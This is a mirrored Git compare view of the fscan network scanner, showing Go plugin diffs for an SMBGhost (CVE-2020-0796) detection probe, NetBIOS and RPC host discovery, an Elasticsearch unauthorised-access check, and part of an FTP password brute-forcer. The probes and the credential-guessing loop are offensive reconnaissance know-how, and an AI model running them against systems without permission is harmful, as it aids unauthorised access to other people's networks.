mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 11:20:41 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1a8b884d63 | ||
|
|
468c2a0ff9 | ||
|
|
f8285de94d | ||
|
|
8dc8b6e652 | ||
|
|
a1900086d6 | ||
|
|
a829660205 | ||
|
|
2343fc1cfb | ||
|
|
43d41844a9 | ||
|
|
cdbd1aebc2 | ||
|
|
38fc6dd0c3 | ||
|
|
f8b4273fc0 | ||
|
|
5032544bbb | ||
|
|
f89feaf89f | ||
|
|
58ae604eea | ||
|
|
83700540f5 | ||
|
|
1598de6ce0 | ||
|
|
8d1b44e82b |
+104
-102
@@ -1,127 +1,129 @@
|
||||
package Plugins
|
||||
|
||||
//Ladon Scanner for golang
|
||||
//Author: k8gege
|
||||
//K8Blog: http://k8gege.org
|
||||
//Github: https://github.com/k8gege
|
||||
import (
|
||||
"../common"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
const (
|
||||
pkt = "\x00" + // session
|
||||
"\x00\x00\xc0" + // legth
|
||||
pkt =
|
||||
"\x00" + // session
|
||||
"\x00\x00\xc0"+ // legth
|
||||
|
||||
"\xfeSMB@\x00" + // protocol
|
||||
"\xfeSMB@\x00"+ // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
func SmbGhost(info *common.HostInfo) error {
|
||||
err := SmbGhostScan(info)
|
||||
return err
|
||||
func SmbGhost(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
SmbGhostScan(info)
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func SmbGhostScan(info *common.HostInfo) error {
|
||||
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
|
||||
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
||||
func SmbGhostScan(info *common.HostInfo) {
|
||||
ip,port,timeout := info.Host,445,time.Duration(info.Timeout)*time.Second
|
||||
addr:=fmt.Sprintf("%s:%d",info.Host,port)
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
return
|
||||
} else {
|
||||
conn.Write([]byte(pkt))
|
||||
buff := make([]byte, 1024)
|
||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil {
|
||||
return
|
||||
}else {
|
||||
defer conn.Close()
|
||||
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
|
||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable",ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
_, err = conn.Write([]byte(pkt))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
buff := make([]byte, 1024)
|
||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
if bytes.Contains(buff[:n], []byte("Public")) == true {
|
||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
common.LogSuccess(result)
|
||||
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -1,281 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
UNIQUE_NAMES = map[string]string{
|
||||
"\x00": "Workstation Service",
|
||||
"\x03": "Messenger Service",
|
||||
"\x06": "RAS Server Service",
|
||||
"\x1F": "NetDDE Service",
|
||||
"\x20": "Server Service",
|
||||
"\x21": "RAS Client Service",
|
||||
"\xBE": "Network Monitor Agent",
|
||||
"\xBF": "Network Monitor Application",
|
||||
"\x1D": "Master Browser",
|
||||
"\x1B": "Domain Master Browser",
|
||||
}
|
||||
|
||||
GROUP_NAMES = map[string]string{
|
||||
"\x00": "Domain Name",
|
||||
"\x1C": "Domain Controllers",
|
||||
"\x1E": "Browser Service Elections",
|
||||
}
|
||||
|
||||
NetBIOS_ITEM_TYPE = map[string]string{
|
||||
"\x01\x00": "NetBIOS computer name",
|
||||
"\x02\x00": "NetBIOS domain name",
|
||||
"\x03\x00": "DNS computer name",
|
||||
"\x04\x00": "DNS domain name",
|
||||
"\x05\x00": "DNS tree name",
|
||||
"\x07\x00": "Time stamp",
|
||||
}
|
||||
)
|
||||
|
||||
type NbnsName struct {
|
||||
unique string
|
||||
group string
|
||||
msg string
|
||||
osversion string
|
||||
}
|
||||
|
||||
func NetBIOS(info *common.HostInfo) error {
|
||||
nbname, err := NetBIOS1(info)
|
||||
var msg, isdc string
|
||||
|
||||
if strings.Contains(nbname.msg, "Domain Controllers") {
|
||||
isdc = "[+]DC"
|
||||
}
|
||||
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
|
||||
|
||||
if info.Scantype == "netbios" {
|
||||
msg += "\n-------------------------------------------\n" + nbname.msg
|
||||
}
|
||||
if len(nbname.group) > 0 || len(nbname.unique) > 0 {
|
||||
common.LogSuccess(msg)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
|
||||
nbname, err = GetNbnsname(info)
|
||||
var payload0 []byte
|
||||
if err == nil {
|
||||
name := netbiosEncode(nbname.unique)
|
||||
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
|
||||
payload0 = append(payload0, name...)
|
||||
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
||||
}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if info.Ports == "139" && len(payload0) > 0 {
|
||||
_, err1 := conn.Write(payload0)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
_, err1 = readbytes(conn)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
|
||||
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
|
||||
_, err = conn.Write(payload1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = readbytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
_, err = conn.Write(payload2)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ret, err := readbytes(conn)
|
||||
if err != nil || len(ret) < 45 {
|
||||
return
|
||||
}
|
||||
|
||||
num1, err := bytetoint(ret[43:44][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err := bytetoint(ret[44:45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length := num1 + num2*256
|
||||
if len(ret) < 48+length {
|
||||
return
|
||||
}
|
||||
os_version := ret[47+length:]
|
||||
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
|
||||
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
|
||||
msg1 := string(tmp1[:len(tmp1)-1])
|
||||
nbname.osversion = msg1
|
||||
index1 := strings.Index(msg1, "|")
|
||||
if index1 > 0 {
|
||||
nbname.osversion = nbname.osversion[:index1]
|
||||
}
|
||||
nbname.msg += "-------------------------------------------\n"
|
||||
nbname.msg += msg1 + "\n"
|
||||
start := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if len(ret) < start+45 {
|
||||
return
|
||||
}
|
||||
num1, err = bytetoint(ret[start+40 : start+41][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[start+41 : start+42][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length = num1 + num2*256
|
||||
num1, err = bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
offset, err := bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil || len(ret) < start+offset+length {
|
||||
return
|
||||
}
|
||||
index := start + offset
|
||||
for index < start+offset+length {
|
||||
item_type := ret[index : index+2]
|
||||
num1, err = bytetoint(ret[index+2 : index+3][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[index+3 : index+4][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
item_length := num1 + num2*256
|
||||
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
|
||||
index += 4 + item_length
|
||||
if string(item_type) == "\x07\x00" {
|
||||
//Time stamp, 暂时不想处理
|
||||
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
|
||||
nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
|
||||
} else if string(item_type) == "\x00\x00" {
|
||||
break
|
||||
} else {
|
||||
nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content))
|
||||
}
|
||||
}
|
||||
return nbname, err
|
||||
}
|
||||
|
||||
func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
|
||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, 137)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(senddata1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err := readbytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(text) < 57 {
|
||||
return nbname, fmt.Errorf("no names available")
|
||||
}
|
||||
num, err := bytetoint(text[56:57][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
data := text[57:]
|
||||
var msg string
|
||||
for i := 0; i < num; i++ {
|
||||
if len(data) < 18*i+16 {
|
||||
break
|
||||
}
|
||||
name := string(data[18*i : 18*i+15])
|
||||
flag_bit := data[18*i+15 : 18*i+16]
|
||||
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
|
||||
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
|
||||
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
|
||||
name_flags := data[18*i+16 : 18*i+18][0]
|
||||
if name_flags >= 128 {
|
||||
nbname.group = strings.Replace(name, " ", "", -1)
|
||||
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
|
||||
} else {
|
||||
nbname.unique = strings.Replace(name, " ", "", -1)
|
||||
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
|
||||
}
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s \n", name)
|
||||
}
|
||||
}
|
||||
nbname.msg += msg
|
||||
return
|
||||
}
|
||||
|
||||
func readbytes(conn net.Conn) (result []byte, err error) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
result = append(result, buf[0:count]...)
|
||||
if count < 4096 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func bytetoint(text byte) (int, error) {
|
||||
num1 := fmt.Sprintf("%v", text)
|
||||
num, err := strconv.Atoi(num1)
|
||||
return num, err
|
||||
}
|
||||
|
||||
func netbiosEncode(name string) (output []byte) {
|
||||
var names []int
|
||||
src := fmt.Sprintf("%-16s", name)
|
||||
for _, a := range src {
|
||||
char_ord := int(a)
|
||||
high_4_bits := char_ord >> 4
|
||||
low_4_bits := char_ord & 0x0f
|
||||
names = append(names, high_4_bits, low_4_bits)
|
||||
}
|
||||
for _, one := range names {
|
||||
out := (one + 0x41)
|
||||
output = append(output, byte(out))
|
||||
}
|
||||
return
|
||||
}
|
||||
+12
-12
@@ -1,18 +1,18 @@
|
||||
package Plugins
|
||||
|
||||
var PluginList = map[string]interface{}{
|
||||
"21": FtpScan,
|
||||
"22": SshScan,
|
||||
"135": Findnet,
|
||||
"139": NetBIOS,
|
||||
"445": SmbScan,
|
||||
"1433": MssqlScan,
|
||||
"3306": MysqlScan,
|
||||
"5432": PostgresScan,
|
||||
"6379": RedisScan,
|
||||
"11211": MemcachedScan,
|
||||
"27017": MongodbScan,
|
||||
"21": FtpScan,
|
||||
"22": SshScan,
|
||||
"135": Findnet,
|
||||
"445": SmbScan,
|
||||
"1433":MssqlScan,
|
||||
"3306": MysqlScan,
|
||||
"5432": PostgresScan,
|
||||
"6379": RedisScan,
|
||||
"9200":elasticsearchScan,
|
||||
"11211":MemcachedScan,
|
||||
"27017":MongodbScan,
|
||||
"1000001": MS17010,
|
||||
"1000002": SmbGhost,
|
||||
"1000003": WebTitle,
|
||||
"1000003":WebTitle,
|
||||
}
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
geturl2(info)
|
||||
wg.Done()
|
||||
<-ch
|
||||
}
|
||||
|
||||
|
||||
func geturl2(info *common.HostInfo) (flag bool,err error) {
|
||||
flag = false
|
||||
url := fmt.Sprintf("%s:%d/_cat",info.Url,common.PORTList["elastic"])
|
||||
var client = &http.Client{
|
||||
Transport:&http.Transport{
|
||||
DialContext:(&net.Dialer{
|
||||
Timeout:time.Duration(info.Timeout)*time.Second,
|
||||
}).DialContext,
|
||||
},
|
||||
CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
res,err:=http.NewRequest("GET",url,nil)
|
||||
if err==nil{
|
||||
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
res.Header.Add("Accept","*/*")
|
||||
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
||||
res.Header.Add("Accept-Encoding","gzip, deflate")
|
||||
res.Header.Add("Connection","close")
|
||||
resp,err:=client.Do(res)
|
||||
|
||||
if err==nil{
|
||||
defer resp.Body.Close()
|
||||
body, _ := ioutil.ReadAll(resp.Body)
|
||||
if strings.Contains(string(body),"/_cat/master"){
|
||||
result := fmt.Sprintf("Elastic:%s unauthorized",url)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag,err
|
||||
}
|
||||
+38
-42
@@ -2,80 +2,76 @@ package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
//"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"../common"
|
||||
)
|
||||
|
||||
var (
|
||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
buffer_v3, _ = hex.DecodeString("0900ffff0000")
|
||||
|
||||
func Findnet(info *common.HostInfo) error {
|
||||
err := FindnetScan(info)
|
||||
return err
|
||||
)
|
||||
func Findnet(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
FindnetScan(info)
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func FindnetScan(info *common.HostInfo) error {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return err
|
||||
func FindnetScan(info *common.HostInfo) {
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,135)
|
||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil{
|
||||
return
|
||||
}
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(bufferV1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
conn.Write(buffer_v1)
|
||||
reply := make([]byte, 4096)
|
||||
_, err = conn.Read(reply)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(bufferV2)
|
||||
if err != nil {
|
||||
return err
|
||||
if err != nil{
|
||||
return
|
||||
}
|
||||
conn.Write(buffer_v2)
|
||||
if n, err := conn.Read(reply); err != nil || n < 42 {
|
||||
return err
|
||||
return
|
||||
}
|
||||
text := reply[42:]
|
||||
flag := true
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
||||
if bytes.Equal(text[i:i+6], buffer_v3){
|
||||
text = text[:i-4]
|
||||
flag = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if flag {
|
||||
return err
|
||||
if flag{
|
||||
return
|
||||
}
|
||||
err = read(text, info.Host)
|
||||
return err
|
||||
read(text,info.Host)
|
||||
}
|
||||
func read(text []byte, host string) error {
|
||||
func read(text []byte,host string) {
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
||||
hostname := strings.Split(hostnames, "000000")
|
||||
result := "NetInfo:\n[*]" + host
|
||||
result := "NetInfo:\n[*]"+host
|
||||
for i := 0; i < len(hostname); i++ {
|
||||
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
||||
host, err := hex.DecodeString(hostname[i])
|
||||
if err != nil {
|
||||
return err
|
||||
host,err := hex.DecodeString(hostname[i])
|
||||
if err != nil{
|
||||
return
|
||||
}
|
||||
result += "\n [->]" + string(host)
|
||||
result += "\n [->]"+string(host)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
+22
-57
@@ -1,76 +1,41 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"../common"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func FtpScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := FtpConn(info, "anonymous", "")
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
for _, user := range common.Userdict["ftp"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := FtpConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
